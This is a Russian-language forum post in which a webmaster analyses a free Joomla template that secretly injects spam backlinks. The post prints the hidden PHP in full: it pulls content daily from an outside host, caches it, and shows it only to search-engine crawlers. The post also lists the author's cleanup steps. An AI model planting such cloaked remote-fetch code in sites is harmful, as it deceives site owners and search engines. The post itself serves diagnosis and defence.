Приветствую всех.
Недавно сделал пару сайтов на бесплатных шаблонах (они предлагались как бесплатные не заметил в них вареза, т.к. были очень простыми, не похожие на разработку студии). Скачивал только шаблон и ставил на Full Package 3.0
Случайно посмотрев сохраненную копию страницы своего нового сайта в Google, увидел что стоит внешняя ссылка на сайте на какой-то буржуйский хостинг.
Начал разбираться, заметил:
1. В папке шаблона, в папке HTML есть два файла php:
mods.php с кодом:
<div class="topslide"><p><a target="_blank" title="Reseller Hosting Reviews" href="http://webhostshield.com/reseller-hosting/">Make Money with Reseller Hosting</a></p></div>
template.php с кодом:
<?php
ini_set('display_errors',0);
$path = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI'];
$path = str_replace("&", "",$path);
$target = dirname(__FILE__). DIRECTORY_SEPARATOR . "mods.php";
$source = 'http://psdu.net/me11.php?i='.$path;
$cachetime = 86400;
if ((file_exists($target)) && (time() - $cachetime) > filemtime($target)) {
$string = file_get_contents($source);$result = file_put_contents($target, $string);}
$spiders = array('Googlebot','Yahoo','msnbot','Googlebot-Mobile');
$credits = file_get_contents($target);
$uagent = $_SERVER['HTTP_USER_AGENT'];
foreach ($spiders as $spider){if (preg_match("/$spider/",$uagent)){echo $credits;}}
?>
3. Также в index.php шаблона есть вставка:
<div id="post" class="col span_<?php echo $compwidth ?> clr">
<div id="comp-wrap">
<?php include "html/template.php"; ?>
<jdoc:include type="message" />
<jdoc:include type="component" />
</div>
</div>
4. в файлах mods.php и template.php не прописана константа, которая пишется обычно в Joomla defined('_JEXEC') or die; также в каталоге с этими файлами отсутствует пустой файл HTML
5. в папке fonts лежит файл .htaccess с кодом (не уверен что это относится к проблеме, но укажу):
<FilesMatch ".(ttf|otf|eot|woff)$">
<IfModule mod_headers.c>
Header set Access-Control-Allow-Origin "*"
</IfModule>
</FilesMatch>
6. заметил, что ежедневно меняется в одно и тоже время только один файл mods.php (хотя код может оставаться не измененным), остальные файла с момента их закачки на мой сайт не изменяются.
7. Внешняя ссылка на сайте, который лежит на сервере отсутствует, она только в сохраненной копии в базе Google.
Вопросы: правильно ли я понял - в момент прихода гуглбота, а также других ботов указанных в template.php внешняя ссылка записывается в шаблон и уходит в базу поисковика? и как узнать через что происходит перезапись файла mods.php, как закрыть этот доступ ?
Решение по лечению (просьба дополнить и поправить если что-то упустил):
1. Удаляем файлы mods.php и template.php, а также .htaccess
2. Удаляем фрагмент кода из index.php о вставке template.php
3. Проверяем каталоги на предмет отсутствия в них пустых файлов index.html - если не находим, добавляем.
4. Проверяем файлы рhp шаблона на предмет отсутствия в них константы defined('_JEXEC') or die; - если не находим, добавляем.
5. Пишем в поддержку Google чтобы удалили ссылку со страницы в их индексе